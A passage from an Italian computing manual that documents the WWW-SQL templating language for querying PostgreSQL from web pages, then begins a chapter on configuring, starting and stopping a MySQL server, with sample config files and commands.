op1 `>` ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 `<` ***op2***	*Vero* se il primo operando è minore del secondo.
op1 `>=` ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.
op1 `<=` ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
`!` ***op***	Negazione logica.
op1 `&&` ***op2***	AND logico.
op1 `&` ***op2***	AND logico (sinonimo di '`&&`').
op1 `||` ***op2***	OR logico.
op1 `|` ***op2***	OR logico (sinonimo di '`||`').

Tabella 86.110. Elenco degli operatori utilizzabili con operandi di tipo stringa.

Operatore e operandi	Descrizione
op1 `==` ***op2***	*Vero* se gli operandi sono uguali.
op1 `!=` ***op2***	*Vero* se gli operandi sono differenti.
op1 `>` ***op2***	*Vero* se il primo operando è lessicograficamente successivo al secondo.
op1 `<` ***op2***	*Vero* se il primo operando è lessicograficamente precedente al secondo.
op1 `>=` ***op2***	*Vero* se il primo operando non è lessicograficamente precedente al secondo.
op1 `<=` ***op2***	*Vero* se il primo operando non è lessicograficamente successivo al secondo.
str `:` ***regexp***	*Vero* se l'espressione regolare corrisponde alla stringa.

All'interno delle stringhe è prevista l'espansione di variabili e sono anche riconosciute alcune sequenze di escape (tabella 86.111). Le variabili in questione vanno intese come parte del linguaggio di WWW-SQL; alcune di queste sono la ripetizione di variabili di ambiente corrispondenti, altre sono variabili interne del programma (come elencato nella tabella 86.112), altre ancora possono essere definite all'interno del «programma» stesso, o meglio ancora, attraverso dei moduli, come è stato mostrato nell'esempio iniziale. Le variabili vengono riconosciute in quanto scritte secondo lo schema seguente:

prefisso***nome_della_variabile***

Il prefisso è un simbolo a scelta tra: '**$**', '**@**', '**?**', '**#**'. In pratica, '**$var**', '**@var**', '**?var**', e '**#var**', sono riferimenti identici alla stessa variabile '**var**'. Per questo motivo, se si vogliono usare i simboli corrispondenti a questi prefissi in modo letterale, occorre usare una sequenza di escape.

Tabella 86.111. Sequenze di escape utilizzabili all'interno delle stringhe.

Escape	Significato
`\\`	\
`\"`	"
`\n`	*<LF>*
`\t`	*<HT>* (tabulazione)
`\$`	$
`\@`	@
`\#`	#
`\?`	?
`\~`	~

Tabella 86.112. Variabili interne di WWW-SQL.

Variabile	Descrizione
`AFFECTED_ROWS`	Numero di righe coinvolte dall'ultima interrogazione.
`NUM_FIELDS`	Numero di campi restituiti dall'ultima interrogazione.
`NUM_ROWS`	Numero di righe restituiti dall'ultima interrogazione.
`WWW_SQL_VERSION`	Versione di WWW-SQL.
`GATEWAY_INTERFACE`	Versione dell'interfaccia CGI.
`HOSTTYPE`	Tipo di macchina del servente HTTP.
`HTTPHOST`	Nome del nodo servente.
`HTTP_REFERER`	Pagina da cui proviene il cliente.
`HTTP_USER_AGENT`	Nome del programma di navigazione (cliente).
`OSTYPE`	Nome del sistema operativo del servente.
`PATH_INFO`	Percorso relativo dello script attuale.
`PATH_TRANSLATED`	Percorso assoluto del file corrispondente allo script attuale.

Variabile	Descrizione
REMOTE_ADDR	Indirizzo del nodo remoto.
REMOTE_HOST	Nome del nodo remoto.
SERVER_ADMIN	Indirizzo di posta elettronica dell'amministratore.
SERVER_NAME	Nome del servente.
SERVER_PORT	Numero della porta utilizzata per la connessione con il servente.
SERVER_PROTOCOL	Nome e versione del protocollo (HTTP).
SERVER_SOFTWARE	Nome del software usato come servente HTTP.
SCRIPT_FILENAME	Percorso del programma CGI (l'eseguibile di WWW-SQL).
SCRIPT_NAME	Percorso relativo del programma CGI (l'eseguibile di WWW-SQL).
REQUEST_URI	Indirizzo richiesto.

Per prendere confidenza con le variabili interne di WWW-SQL, si può realizzare lo script seguente ('`interne.pgsql`'), che con l'istruzione '**`<!SQL DUMPVARS>`**' le elenca tutte. La figura 86.114 mostra il risultato che si potrebbe ottenere.

```
<HTML>
<HEAD>
    <title>Visualizzazione delle variabili interne</title>
</HEAD>
<BODY>
<H1>Visualizzazione delle variabili interne</H1>

<! SQL DUMPVARS >

</BODY>
```

Figura 86.114. Esempio del contenuto delle variabili interne attraverso l'istruzione '**<!SQL DUMPVARS>**'.

```
                  Visualizzazione delle variabili interne

WWW_SQL_VERSION = 0.5.5
SERVER_SOFTWARE = Apache/1.3.3 (Unix) Debian/GNU
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
SERVER_NAME = dinkel.brot.dg
SERVER_ADMIN = webmaster@dinkel.brot.dg
SCRIPT_FILENAME = /usr/lib/cgi-bin/www-pgsql
SCRIPT_NAME = /cgi-bin/www-pgsql
REQUEST_URI = /cgi-bin/www-pgsql/interne.pgsql
REMOTE_ADDR = 127.0.0.1
QUERY_STRING =
PATH_TRANSLATED = /var/www/interne.pgsql
PATH_INFO = /interne.pgsql
HTTP_USER_AGENT = Lynx/2.8.1rel.2 libwww-FM/2.14
HTTP_HOST = localhost
GATEWAY_INTERFACE = CGI/1.1
DOCUMENT_ROOT = /var/www
```

86.5.3.2 Strutture di controllo

Attraverso le istruzioni di WWW-SQL, si possono realizzare le strutture di controllo che sono comuni nei linguaggi di programmazione. È prevista la struttura condizionale e il ciclo iterativo.

```
<! SQL IF espressione >
    ...
[<! SQL ELSIF espressione >]
    ...
[<! SQL ELSE >]
    ...
<! SQL ENDIF >
```

La struttura condizionale che si vede nello schema, permette di delimitare uno spazio da filtrare in base all'esito delle espressioni condizionali coinvolte. Si osservi l'esempio seguente:

```
<! SQL IF $NUM_ROWS == 10 >
    <P>Il numero delle righe è uguale a 10.</P>
<! SQL ELSE >
    <P>Il numero delle righe non corrisponde a
    quanto previsto.</P>
<! SQL ENDIF >
```

In questo modo si condiziona la visualizzazione di una frase in base al fatto che la variabile '**NUM_ROWS**' contenga o meno il valore 10.

È importante osservare che l'espressione usata come condizione di controllo potrebbe restituire un risultato numerico e non logico. In tal caso, lo zero corrisponde a *Falso*, mentre qualunque altro valore corrisponde a *Vero*.

```
<! SQL WHILE espressione >
    …
<! SQL DONE >
```

La struttura iterativa che si vede nello schema, permette di delimitare uno spazio da interpretare ripetitivamente, finché l'espressione condizionale introduttiva continua a restituire il valore *Vero* (o un valore numerico diverso da zero).

```
<! SQL SET contatore 10 >
<! SQL WHILE $contatore > 0 >
    <P>Il contatore ha raggiunto il livello <! SQL PRINT "$contatore" >.</P>
    <! SQL SETEXPR contatore $contatore - 1 >
<! SQL DONE >
```

L'esempio mostra l'inizializzazione di una variabile, denominata '**`contatore`**', al valore iniziale 10; quindi inizia un ciclo iterativo che si arresta quando tale variabile raggiunge lo zero. A ogni ciclo, viene visualizzato il contenuto della variabile, che subito dopo viene ridotto di un'unità.

Se l'istruzione '**`<!SQL WHILE...>`**' non viene riconosciuta, significa che non è disponibile la scansione iterativa.

Nell'ambito di un'iterazione, possono essere usate delle istruzioni per interrompere il ciclo in corso o per interrompere tutta l'iterazione:

```
<! SQL CONTINUE >
```

```
<! SQL BREAK >
```

La prima della due istruzioni interrompe il ciclo attuale, facendo riprendere immediatamente l'iterazione, mentre il secondo interrompe l'iterazione del tutto.

Esiste anche un altro tipo di iterazione, il cui scopo è la scansione delle righe ottenute dall'interrogazione di una base di dati:

```
<! SQL PRINT_LOOP riferimento_all'interrogazione >
    …
<! SQL DONE >
```

Anche all'interno di questa struttura si possono usare le istruzioni '**`<!SQL CONTINUE>`**' e '**`<!SQL BREAK>`**'.

86.5.4 Istruzioni

Le istruzioni «normali» di WWW-SQL, ovvero quelle che non servono a descrivere delle strutture di controllo, sono descritte in questa sezione e in quelle seguenti. In particolare si può notare che WWW-SQL offre delle istruzioni per la lettura semplificata dell'esito di un'interrogazione SQL e altre per la lettura dettagliata, fino ad arrivare a distinguere tupla per tupla e attributo per attributo.

È importante chiarire che, anche se un'«interrogazione» serve principalmente per leggere dati da una relazione di una base di dati, nello stesso modo, attraverso WWW-SQL si potrebbero fare delle modifiche ai dati.

Segue un elenco di istruzioni di tipo vario, mentre nelle sezioni seguenti vengono raccolte altre istruzioni più specifiche.

- Emissione di una stringa con espansione di variabili:

  ```
  <! SQL PRINT stringa >
  ```

  L'istruzione '**<!SQL PRINT** ...**>**' permette di emettere una stringa. Dal momento che un file HTML non ha bisogno di accorgimenti particolari per mostrare una stringa costante, è evidente che il senso di questa istruzione sta nella possibilità di indicare delle variabili da espandere, come nell'esempio seguente:

  ```
  <P>Il contatore ha raggiunto il livello <! SQL PRINT "$contatore" >.</P>
  ```

- Risultato di un'espressione:

  ```
  <! SQL EVAL espressione >
  ```

  L'istruzione '**<!SQL EVAL** ...**>**' è simile a '**<!SQL PRINT** ...**>**', con la differenza che l'argomento non è più una stringa, ma un'espressione differente, il cui risultato viene emesso alla fine.

- Impostazione di una variabile:

  ```
  <! SQL SET nome_variabile valore_da_assegnare >
  ```

  L'istruzione '**<!SQL SET** ...**>**' permette di definire e inizializzare una variabile. L'esempio seguente definisce la variabile '**contatore**', inizializzandola a zero:

  ```
  <! SQL SET contatore 0 >
  ```

- Impostazione di una variabile attraverso un'espressione:

  ```
  <! SQL SETEXPR nome_variabile espressione >
  ```

L'istruzione '**<!SQL SETEXPR** ...**>**' permette di definire e inizializzare una variabile; in particolare, il valore che si assegna può essere il risultato della valutazione di un'espressione. L'esempio seguente definisce la variabile '**contatore**', inizializzandola con il risultato dell'espressione '**$contatore - 1**'. In pratica viene decrementato il contenuto della variabile '**contatore**':

```
<! SQL SETEXPR contatore $contatore - 1 >
```

- Definizione di un valore predefinito per il contenuto di una variabile:

```
<! SQL SETDEFAULT nome_variabile valore_da_assegnare >
```

L'istruzione '**<!SQL SETDEFAULT** ...**>**' permette di stabilire un valore predefinito per una variabile; a differenza di '**<!SQL SET** ...**>**' la variabile non viene modificata se esiste già e ha un valore. L'esempio seguente definisce la variabile '**contatore**', solo se necessario, inizializzandola con il valore 10:

```
<! SQL SETDEFAULT contatore 10 >
```

- Elenco variabili:

```
<! SQL DUMPVARS >
```

L'istruzione '**<!SQL DUMPVARS>**' emette l'elenco delle variabili esistenti, assieme al valore che contengono. Può essere usato per scopo diagnostico, quando si cerca di capire cosa succede realmente.

86.5.4.1 Apertura e chiusura di una connessione, e accesso a una base di dati

L'interrogazione di una base di dati deve essere preceduta dalla connessione a un servente DBMS e dalla selezione di una base di dati; inoltre, al termine delle interrogazioni, si passa normalmente alla chiusura di una connessione, in pratica secondo lo schema seguente:

```
<! SQL CONNECT ... >
<! SQL DATABASE nome_della_base_di_dati >
...
...
<! SQL CLOSE >
```

In breve: '**<!SQL CONNECT** ...**>**' serve a iniziare una connessione con un servente per l'accesso a una base di dati; '**<!SQL DATABASE** ...**>**' serve a indicare la base di dati specifica presso il servente; '**<!SQL CLOSE>**' chiude la connessione.

- Accesso a un servente DBMS:

```
<! SQL CONNECT [nodo [utente [parola_d'ordine]]] >
```

L'istruzione '**<!SQL CONNECT ...>**' permette di iniziare una connessione con un DBMS. Dipende dal DBMS stesso se è possibile accedere senza alcun sistema di autenticazione. In generale, se non si indica il nodo a cui accedere, si intende *localhost*; inoltre, se non si indica l'utente, si fa riferimento al numero UID con il quale funziona il programma servente del servizio HTTP (che a sua volta avvia il programma CGI). L'esempio che segue richiede di connettersi al servente DBMS PostgreSQL che opera nello stesso elaboratore locale, utilizzando l'identità dell'utente '**pgnanouser**' e senza specificare alcuna parola d'ordine:

```
<! SQL CONNECT localhost pgnanouser >
```

- Selezione di una base di dati specifica:

```
<! SQL DATABASE nome_base_di_dati >
```

L'istruzione '**<!SQL DATABASE ...>**' permette di aprire una base di dati specifica; per la precisione, utilizzando PostgreSQL, l'accesso al servente avviene solo dopo che è stata specificata la base di dati.

- Chiusura di una connessione:

```
<! SQL CLOSE >
```

La chiusura di una connessione (e quindi anche di una base di dati aperta), si ottiene con l'istruzione '**<!SQL CLOSE>**'.

Prima di passare alla descrizione delle istruzioni che permettono l'interrogazione del contenuto di una base di dati, viene mostrato un esempio che si limita a elencare la relazione '**Indirizzi**' della base di dati '**anagrafe**':

```
<HTML>
<HEAD>
    <TITLE>Esempio di interrogazione</TITLE>
</HEAD>
<BODY>
<H1>Esempio di interrogazione</H1>
<! SQL CONNECT localhost nobody >
<! SQL DATABASE anagrafe >
<! SQL QUERY "SELECT * FROM Indirizzi" RICHIESTA_1 >
<! SQL QTABLE RICHIESTA_1 >
<! SQL FREE RICHIESTA_1 >
<! SQL CLOSE >
</BODY>
```

86.5.4.2 Istruzioni di interrogazione normali

L'interrogazione di una base di dati avviene attraverso la definizione di un riferimento, che si apre e si chiude come se fosse un flusso di file nei linguaggi di programmazione comuni. Per aprire questo riferimento si inizia con l'invio di un'interrogazione SQL; successivamente è possibile leggere l'esito dell'interrogazione attraverso il riferimento che è stato aperto; infine si passa alla chiusura del riferimento:

```
<! SQL QUERY stringa_di_interrogazione_sql riferimento >
...
...
<! SQL FREE riferimento >
```

- Apertura di un'interrogazione:

  ```
  <! SQL QUERY stringa_di_interrogazione_sql riferimento >
  ```

  L'istruzione '**<!SQL QUERY ...>**' definisce una stringa di interrogazione da inviare al servente DBMS. A questa interrogazione viene abbinato un riferimento costituito da un nome, che in seguito deve essere usato per leggere l'esito dell'interrogazione. Nell'esempio che appare nella sezione precedente, si vedeva l'istruzione seguente con la quale si selezionano tutte le tuple della relazione '**Indirizzi**', abbinando questo risultato al nome '**RICHIESTA_1**':

  ```
  <! SQL QUERY "SELECT * FROM Indirizzi" RICHIESTA_1 >
  ```

- Tabella rapida:

  ```
  <! SQL QTABLE riferimento [borders] >
  ```

  L'istruzione '**<!SQL QTABLE ...>**' consente di rappresentare rapidamente il risultato di un'interrogazione attraverso una tabella HTML. In particolare, utilizzando la parola chiave '**borders**', la tabella che si genera ha i bordi delle caselle visibili. L'esempio seguente mostra in che modo visualizzare rapidamente il risultato dell'interrogazione abbinata al nome '**RICHIESTA_1**':

  ```
  <! SQL QTABLE RICHIESTA_1 >
  ```

- Elenco rapido:

  ```
  <! SQL QLONGFORM riferimento >
  ```

  L'istruzione '**<!SQL QLONGFORM ...>**' si utilizza in modo simile a '**<!SQL QTABLE ...>**', per rappresentare il risultato di un'interrogazione attraverso un elenco dettagliato, senza una tabella HTML.

- Chiusura del riferimento all'interrogazione:

  ```
  <! SQL FREE riferimento >
  ```

Come è stato mostrato all'inizio, l'istruzione '**<!SQL FREE** ...**>**' serve a chiudere il riferimento a un'interrogazione.

- Realizzazione di un elenco di voci da selezionare:

```
<! SQL QSELECT riferimento variabile_modulo_html >
```

Con l'istruzione '**<!SQL QSELECT** ...**>**' si ottiene un elenco di voci di un modulo di selezione. In generale, la cosa corrisponde a:

```
<SELECT NAME="variabile_modulo_html">
<! SQL PRINT_ROWS riferimento "<OPTION name=\"@riferimento.0\">riferimento.1">
</SELECT>
```

L'istruzione '**<!SQL PRINT_ROWS** ...**>**' è descritta nella prossima sezione.

86.5.4.3 Istruzioni per la selezione dettagliata di tuple e attributi

È possibile selezionare in maniera più precisa le tuple e gli attributi da ciò che si ottiene da un'interrogazione SQL. Attraverso l'istruzione '**<!SQL FETCH *riferimento*>**' si preleva la tupla attuale dall'interrogazione a cui si fa riferimento. Questo prelievo permette di fare riferimento agli attributi della tupla attraverso una notazione particolare:

```
@riferimento.n
```

In pratica, è come se fosse l'espansione di una variabile, con la differenza che si indica il nome di un riferimento a un'interrogazione aperta, aggiungendo un'estensione numerica, separata da un punto, dove lo zero corrisponde al primo attributo e $n-1$ corrisponde all'attributo n-esimo.

- Spostamento della tupla attuale all'interno del risultato di un'interrogazione:

```
<! SQL SEEK riferimento n_riga >
```

L'istruzione '**<!SQL SEEK** ...**>**' permette di spostare la tupla attuale all'interno di un'interrogazione. Per indicare il numero della tupla da raggiungere, occorre tenere presente che lo zero corrisponde alla prima. L'esempio seguente fa in modo che la tupla attuale diventi la seconda del riferimento '**RICHIESTA_1**':

```
<! SQL SEEK RICHIESTA_1 1 >
```

- Prelievo della tupla attuale di un certo riferimento:

```
<! SQL FETCH riferimento >
```

L'istruzione '**<!SQL FETCH** ...**>**' permette di rendere disponibile il contenuto della tupla attuale di un certo riferimento. L'esempio seguente preleva il contenuto della tupla attuale del riferimento '**RICHIESTA_1**'; quindi mostra il primo e il secondo attributo di questa tupla, che si presume corrispondano al cognome e al nome di una persona:

```
<! SQL FETCH RICHIESTA_1 >
<P>Cognome: <! SQL PRINT "@RICHIESTA_1.0" ></P>
<P>Nome: <! SQL PRINT "@RICHIESTA_1.1" ></P>
```

- Emissione di una stringa per ogni tupla:

```
<! SQL PRINT_ROWS riferimento stringa >
```

L'istruzione '**<!SQL PRINT_ROWS** ...**>**' è una sorta di istruzione '**<!SQL PRINT** ...**>**' ripetuta per tutte le tuple di un'interrogazione, a partire da quella corrente. L'esempio seguente mostra la visualizzazione dei primi due attributi di tutte le tuple di un'interrogazione, a cui si fa riferimento con il nome '**Q**':

```
<! SQL SEEK Q 0 >
<! SQL PRINT_ROWS Q "<P>Cognome: @Q.0</P>\n<P>Nome: @Q.1</P>\n" >
```

L'esempio seguente mostra la realizzazione di un modulo per la selezione di un articolo, attraverso l'invio del codice corrispondente. A questo proposito, si suppone che il primo attributo del risultato dell'interrogazione a cui si fa riferimento con il nome '**ELENCO**', corrisponda al codice dell'articolo, mentre il secondo corrisponda a una sua descrizione:

```
<FORM ACTION="ordine.pgsql">
<P><SELECT NAME="codice">
<! SQL PRINT_ROWS ELENCO "<OPTION name=\"@ELENCO.0\">@ELENCO.1" >
</SELECT>
<INPUT TYPE="submit">
</FORM>
```

Dal momento che si fa riferimento alle prime due colonne, la stessa cosa avrebbe potuto essere realizzata con l'istruzione '**<!SQL QSELECT** ...**>**', nel modo seguente:

```
<FORM ACTION="ordine.pgsql">
<! SQL QSELECT ELENCO codice >
<INPUT TYPE="submit">
</FORM>
```

86.6 Riferimenti

- *PostgreSQL*

  ⟨*http://www.postgresql.org/*⟩

- The PostgreSQL Global Development Group, *PostgreSQL Documentation*

  ⟨*http://www.postgresql.org/docs/manuals/*⟩

- Bruce Momjian, *PostgreSQL: introduction and concepts*

  ⟨*http://www.postgresql.org/files/documentation/books/aw_pgsql/index.html*⟩

- Al Dev (Alavoor Vasudevan), *PostgreSQL HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩

- *PgAccess*

  ⟨*http://sourceforge.net/projects/pgaccess/*⟩

- James Henstridge, *WWW-SQL*
  ⟨*http://www.jamesh.id.au/software/www-sql/www-sql.html*⟩

[1] **PostgreSQL** software libero con licenza speciale

[2] **PgAccess** software libero con licenza speciale

[3] **WWW-SQL** GNU GPL

Capitolo 87

MySQL

87.1 Struttura e preparazione 5283

87.1.1 Configurazione del servente 5284

87.1.2 Avvio e arresto del servente 5286

87.1.3 Utenze 5288

87.1.4 Accesso comune al servente 5290

87.1.5 Base di dati amministrativa 5293

87.2 Gestione del DBMS 5295

87.2.1 Controllo delle utenze e degli accessi 5295

87.2.2 Amministrazioni varie attraverso il sistema operativo 5300

87.2.3 Ripristino della parola d'ordine dell'amministratore 5300

87.2.4 Archiviazione e recupero delle basi di dati 5301

87.3 Riferimenti 5302

87.1 Struttura e preparazione

MySQL [1] è un DBMS (*Data base management system*) relazionale. Il nome contiene la sigla «SQL», a indicare che si tratta di un DBMS in grado di comprendere le istruzioni SQL.

L'installazione del servente MySQL può essere molto laboriosa, se non si dispone di un pacchetto già pronto per la propria distribuzione GNU. La descrizione di come installare MySQL viene omessa, perché questa appare nella documentazione di MySQL in modo molto dettagliato. Qui si fa riferimento a una situazione relativamente «comune», a seguito dell'installazione automatica di un pacchetto pronto.

In generale, il servente MySQL è costituito dal demone '**`mysqld`**', avviato attraverso uno script della procedura di inizializzazione del sistema, che potrebbe corrispondere a '`/etc/init.d/mysql`'. Assieme a questo demone ci sono altri programmi di servizio che servono principalmente per l'amministrazione e la manutenzione delle basi di dati, il più importante dei quali è '**`mysqladmin`**'.

L'installazione del servente MySQL richiede, nell'ambito del sistema operativo, la preparazione di un utente e un gruppo speciali, entrambi con il nome '**`mysql`**'. Questa utenza dovrebbe essere già disponibile oppure potrebbe essere creata automaticamente dal sistema di installazione dei pacchetti della propria distribuzione. La directory personale associata a questo utente speciale dovrebbe rappresentare il contenitore dei file che compongono le basi di dati gestite da MySQL: '`~mysql/`'.

Il servente MySQL è sottoposto al controllo di un file di configurazione, che in condizioni normali potrebbe corrispondere a '`/etc/mysql/my.cnf`', oppure solo '`/etc/my.cnf`'. Tuttavia, questo file è suddiviso in sezioni e contiene anche la configurazione relativa ai programmi clienti, mentre una configurazione specifica del solo servente può essere collocata nel file '`~mysql/my.cnf`'.

L'amministratore del DBMS con MySQL si chiama convenzionalmente '**`root`**' e si prevede che in un sistema Unix coincida con l'utente '**`root`**', ma ciò non è strettamente necessario. L'accesso da parte di questo utente, come degli altri, è sottoposto alla presentazione di una parola d'ordine che viene stabilita con l'ausilio di '**`mysqladmin`**', o attraverso istruzioni SQL appropriate; pertanto, anche se ci può essere una corrispondenza tra utenze di MySQL e utenze del sistema operativo, le parole d'ordine usate non sono collegate tra loro.

MySQL ha una gestione particolare delle proprie utenze, distinguendole in base alla provenienza degli accessi. A seconda del contesto può capitare di utilizzare notazioni del tipo '**`tizio@dinkel.brot.dg`**', dove si intende fare riferimento all'utente denominato '**`tizio`**' che accede dal nodo *`dinkel.brot.dg`*. Deve essere subito chiaro che non si tratta di un indirizzo di posta elettronica e nemmeno di un'utenza Unix. Pertanto, anche l'utente '**`root`**' (l'amministratore del DBMS), deve essere qualificato meglio e solitamente si fa riferimento a '**`root@localhost`**' (l'utente '**`root`**' che accede al servente attraverso lo stesso elaboratore che offre il servizio).

87.1.1 Configurazione del servente

Come accennato, la configurazione generale di MySQL è contenuta nel file '`/etc/mysql/my.cnf`', oppure '`/etc/my.cnf`', a seconda dell'organizzazione della propria distribuzione GNU, con la possibilità di usare il file '`~mysql/my.cnf`' per ciò che riguarda strettamente il funzionamento del servente. Molto probabilmente, il file di configurazione generale è già predisposto per consentire un accesso locale al servente MySQL; di solito può essere utile verificare o ritoccare solo alcune direttive, specialmente per ciò che riguarda l'abilitazione dell'accesso attraverso la rete.

Il file di configurazione contiene direttive che assomigliano in pratica all'assegnamento di variabili, nella forma seguente:

```
nome = valore
```

Queste direttive sono suddivise in sezioni, dichiarate tra parentesi quadre:

```
[sezione]
direttiva
...
```

È attraverso la presenza di queste sezioni che è possibile distinguere le direttive relative al servente da quelle di altre componenti.

Come spesso accade nei file di configurazione comuni, il simbolo '**`#`**' introduce un commento, fino alla fine della riga; inoltre, le righe bianche o vuote sono ignorate.

Le direttive che riguardano il funzionamento del servente sono contenute nelle sezioni '**`[mysqld_safe]`**' e '**`[mysqld]`**'. Per il momento conviene soffermarsi solo su alcune della seconda di queste sezioni:

```
[mysqld]
user            = mysql
pid-file        = /var/run/mysqld/mysqld.pid
socket          = /var/run/mysqld/mysqld.sock
port            = 3306
log             = /var/log/mysql.log
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir          = /tmp
language        = /usr/share/mysql/english
```

Si comprende intuitivamente il significato di queste direttive: il demone '**mysqld**' viene avviato con i privilegi dell'utente '**mysql**'; viene usato il file '/var/run/mysqld/mysqld.pid' per annotare il numero PID del demone in funzione; viene utilizzato il file '/var/run/mysqld/mysqld.sock' come socket di dominio Unix per le comunicazioni locali, oppure la porta 3306 per le comunicazioni attraverso la rete; nel file '/var/log/mysql.log' vengono annotate le informazioni relative al suo funzionamento; la directory '/usr/' è il punto di partenza dell'installazione dei programmi e di altre componenti; la directory '/var/lib/mysql/' è il punto di inizio dei file che compongono le basi di dati (equivale a '~mysql/'); la directory usata per i file temporanei è '/tmp/'; infine, i messaggi mostrati dal demone sono quelli contenuti nella directory '/usr/share/mysql/english/', ovvero quelli espressi in lingua inglese.

Alcune direttive particolari non hanno la forma dell'assegnamento e contengono una sola stringa, nella forma seguente:

```
skip-nome
```

La presenza di queste direttive indica la disabilitazione di ciò che viene descritto sinteticamente dalla parte finale del loro nome; per esempio, la direttiva '**skip-networking**' serve a disabilitare l'accesso attraverso la rete. Di solito, la configurazione predefinita di MySQL prevede proprio l'uso di questa direttiva per impedire l'accesso attraverso la rete, rendendo necessaria la modifica di questo file per consentirlo in modo esplicito.

Un altro tipo di direttiva, che comunque rientra nel genere normale di assegnamento, serve a dichiarare delle variabili, intese come opzioni di funzionamento, a cui si assegna anche un valore. Si tratta di direttive che hanno l'aspetto seguente:

```
set-variable = nome=valore
```

L'utilizzo di queste variabili può dipendere dal modo in cui si compilano i sorgenti di MySQL; pertanto può essere necessario stabilire su cosa si può intervenire, avviando il demone '**mysqld**' con l'opzione '**--help**', anche senza privilegi particolari:

$ **/usr/bin/mysqld --help** [*Invio*]

Oltre alla sintassi relativa alla riga di comando, si dovrebbe osservare la presenza dell'elenco seguente, che qui viene abbreviato:

```
Variables (--variable-name=value)
and boolean options {FALSE|TRUE}  Value (after reading options)
--------------------------------- -----------------------------
auto-rehash                       TRUE
character-sets-dir                (No default value)
default-character-set             (No default value)
compress                          FALSE
database                          (No default value)
...
net_buffer_length                 16384
select_limit                      1000
max_join_size                     1000000
```

87.1.1.1 Controllo dell'accesso dalla rete

Un problema comune che si può avvertire quando si cerca di mettere in funzione un servente MySQL, sta nel concedere gli accessi attraverso la rete.

Generalmente, la configurazione contenuta nel file '`/etc/mysql/my.cnf`' (o solo '`/etc/my.cnf`') prevede una direttiva che limita gli accessi al solo elaboratore locale. Ci sono due possibilità:

```
[mysqld]
...
skip-networking
...
bind-address = 127.0.0.1
...
```

Se si usa la direttiva '**`skip-networking`**', si intende concedere esclusivamente un accesso locale, tramite un socket di dominio Unix; se si usa la direttiva '**`bind-address = 127.0.0.1`**' (senza però usare anche '**`skip-networking`**'), si concede l'accesso attraverso la rete, ma in pratica si concede esclusivamente un accesso locale, tramite l'indirizzo 127.0.0.1.

In pratica, per consentire un accesso remoto al DBMS, occorre eliminare (o commentare) entrambe queste direttive.

87.1.2 Avvio e arresto del servente

L'avvio e l'arresto del servente dovrebbe essere gestito da uno script della procedura di inizializzazione del sistema, che in generale potrebbe corrispondere a '`/etc/init.d/mysql`'. Se le cose stanno così, è sufficiente avviare il servizio con il comando seguente:

`#` **`/etc/init.d/mysql start`** [*Invio*]

Nello stesso modo, per arrestare il servizio basta il comando seguente:

`#` **`/etc/init.d/mysql stop`** [*Invio*]

Può essere interessante approfondire cosa succede realmente all'interno di questo script per comprendere come è organizzato MySQL nell'ambito del proprio sistema operativo.

In generale ci sono da considerare due aspetti: il demone '**mysqld**' non viene avviato direttamente, ma attraverso un altro programma, '**mysqld_safe**'; in secondo luogo, l'arresto del funzionamento del servente avviene attraverso '**mysqladmin**', che richiede l'indicazione di una parola d'ordine.

L'avvio del servente attraverso '**mysqld_safe**' non richiede la comprensione di altre questioni, a parte la necessità di accertarsi che non ci sia già un servente MySQL in funzione. Comunque, la presenza di questo programma ('**mysqld_safe**') fa sì che esista anche una sezione apposita nella configurazione, denominata nello stesso modo:

```
[mysqld_safe]
err-log         = /var/log/mysql/mysql.err
socket          = /var/run/mysqld/mysqld.sock
```

Il problema dell'arresto del servizio è invece più complesso, in quanto si deve usare un altro programma, '**mysqladmin**', che può portare a termine l'operazione soltanto se si utilizzano i privilegi dell'amministratore del servizio, per ottenere i quali occorre fornire la parola d'ordine relativa:

mysqladmin --password="ciaociao" shutdown [*Invio*]

L'amministratore di MySQL ha il nome '**root**' (in questo caso sarebbe precisamente '**root@localhost**'), che, come accennato nella premessa, coincide volutamente con il nome dell'amministrazione di un sistema Unix, pur non essendo la stessa cosa. Dal momento che ogni utente di MySQL può predisporre nella propria directory personale un file di configurazione personalizzato, corrispondente a '~/.my.cnf', in questo file si può anche inserire la propria parola d'ordine, con una direttiva della sezione '**[client]**', che in questo caso è riferita all'utente '**root**':

```
[client]
user      = root
password  = ciaociao
```

Così facendo, come viene chiarito in seguito, quando un utente del sistema operativo accede a un servente MySQL locale, se l'utenza di MySQL coincide con il nominativo usato nell'ambito del sistema operativo, può fare a meno di fornire la propria parola d'ordine perché già definita nella configurazione personale. Secondo questo principio, l'utente '**root**' del sistema operativo potrebbe fare altrettanto per consentire a script che vengono avviati automaticamente di svolgere il loro compito.

Esistono comunque dei raggiri differenti, per evitare di costringere l'utente '**root**' del sistema operativo a inserire la parola d'ordine nel file di configurazione '~/.my.cnf'. In particolare, la distribuzione GNU/Linux Debian definisce un utente speciale, denominato '**debian-sys-maint**' ('**debian-sys-maint@localhost**'), con i privilegi necessari, a cui associa il file di configurazione '/etc/mysql/debian.cnf', avviando poi '**mysqladmin**' con l'opzione '**--defaults-extra-file**':

mysqladmin --defaults-extra-file=/etc/mysql/debian.cnf ... [*Invio*]

Naturalmente, il file '/etc/mysql/debian.cnf' non deve essere leggibile agli utenti comuni del sistema operativo, dal momento che contiene la parola d'ordine per le funzioni amministrative gestite in modo automatico dal sistema stesso:

```
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host     = localhost
user     = debian-sys-maint
password = sddgetGRFhyjftuP
```

87.1.2.1 Struttura iniziale dei dati

Perché il servente MySQL possa essere avviato e funzionare, è necessario che sia stata predisposta una struttura iniziale di dati, che serve successivamente ad accogliere le basi di dati. Si tratta di file di una base di dati speciale, che si colloca assieme alle altre nella directory '`~mysql/`'.

Questa struttura iniziale si crea con il comando '**`mysql_install_db`**', che corrisponde a uno script. Si usa semplicemente così:

`#` **`mysql_install_db`** [*Invio*]

Può succedere che la propria distribuzione GNU, pur predisponendo un pacchetto per il servente MySQL, non provveda alla creazione di questa struttura iniziale dei dati; in tal caso non si riesce ad avviare il servente e occorre provvedere da soli a usare il comando '**`mysql_install_db`**'.

87.1.3 Utenze

